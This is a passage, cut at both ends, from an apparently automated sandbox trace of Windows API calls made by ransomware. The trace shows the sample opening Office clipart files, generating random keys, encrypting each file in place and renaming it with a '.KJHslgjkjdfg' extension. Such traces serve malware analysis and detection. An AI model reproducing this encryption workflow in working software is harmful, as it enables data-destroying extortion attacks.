lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.894] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.894] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.894] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x824e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x824e, lpOverlapped=0x0) returned 1 [0186.895] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8250, dwBufLen=0x8250 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8250) returned 1 [0186.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.896] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8250, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8250, lpOverlapped=0x0) returned 1 [0186.896] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.896] SetEndOfFile (hFile=0x114) returned 1 [0186.899] GetProcessHeap () returned 0x2a0000 [0186.899] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.899] GetProcessHeap () returned 0x2a0000 [0186.899] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.kjhslgjkjdfg")) returned 1 [0186.901] CloseHandle (hObject=0x114) returned 1 [0186.901] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa753f100, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa753f100, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x62b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02265_.WMF", cAlternateFileName="")) returned 1 [0186.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.902] GetProcessHeap () returned 0x2a0000 [0186.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.902] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.902] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0186.905] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.905] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.905] GetProcessHeap () returned 0x2a0000 [0186.905] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.905] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.905] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.905] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.905] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.905] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.905] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.906] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.906] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.906] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.906] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x62b2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x62b2, lpOverlapped=0x0) returned 1 [0186.907] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x62c0) returned 1 [0186.907] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.907] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x62c0, lpOverlapped=0x0) returned 1 [0186.907] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.907] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.907] SetEndOfFile (hFile=0x114) returned 1 [0186.910] GetProcessHeap () returned 0x2a0000 [0186.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.910] GetProcessHeap () returned 0x2a0000 [0186.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.kjhslgjkjdfg")) returned 1 [0186.911] CloseHandle (hObject=0x114) returned 1 [0186.911] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f02900, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3f02900, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x78e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02267_.WMF", cAlternateFileName="")) returned 1 [0186.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.913] GetProcessHeap () returned 0x2a0000 [0186.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.913] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.913] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.913] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.913] GetProcessHeap () returned 0x2a0000 [0186.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.913] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.913] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.913] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.915] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.915] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.915] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.915] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.915] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.916] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.916] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.916] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x78e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x78e0, lpOverlapped=0x0) returned 1 [0186.917] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x78e0, dwBufLen=0x78e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x78e0) returned 1 [0186.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.917] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x78e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x78e0, lpOverlapped=0x0) returned 1 [0186.917] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x79b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.917] SetEndOfFile (hFile=0x114) returned 1 [0186.920] GetProcessHeap () returned 0x2a0000 [0186.920] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.920] GetProcessHeap () returned 0x2a0000 [0186.920] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.kjhslgjkjdfg")) returned 1 [0186.921] CloseHandle (hObject=0x114) returned 1 [0186.921] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe53000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fe53000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02270_.WMF", cAlternateFileName="")) returned 1 [0186.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.922] GetProcessHeap () returned 0x2a0000 [0186.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.922] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0186.924] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.924] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.924] GetProcessHeap () returned 0x2a0000 [0186.924] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.924] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.924] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.924] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.924] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.925] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.925] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.925] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.925] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.925] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.925] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6f26, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6f26, lpOverlapped=0x0) returned 1 [0186.926] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6f30, dwBufLen=0x6f30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6f30) returned 1 [0186.926] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.926] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6f30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6f30, lpOverlapped=0x0) returned 1 [0186.927] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.927] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.927] SetEndOfFile (hFile=0x114) returned 1 [0186.929] GetProcessHeap () returned 0x2a0000 [0186.929] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.929] GetProcessHeap () returned 0x2a0000 [0186.929] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.kjhslgjkjdfg")) returned 1 [0186.930] CloseHandle (hObject=0x114) returned 1 [0186.930] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9ebd00, ftCreationTime.dwHighDateTime=0x1c0033f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f9ebd00, ftLastWriteTime.dwHighDateTime=0x1c0033f, nFileSizeHigh=0x0, nFileSizeLow=0xb9c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02278_.WMF", cAlternateFileName="")) returned 1 [0186.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.932] GetProcessHeap () returned 0x2a0000 [0186.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.932] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.932] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.932] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.934] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.934] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.934] GetProcessHeap () returned 0x2a0000 [0186.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.934] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.934] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.934] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.934] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.934] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.934] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.935] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.935] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.935] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.935] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb9c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb9c4, lpOverlapped=0x0) returned 1 [0186.936] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb9d0, dwBufLen=0xb9d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb9d0) returned 1 [0186.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.937] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb9d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb9d0, lpOverlapped=0x0) returned 1 [0186.937] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbaa4, lpNewFilePointer=0x0, 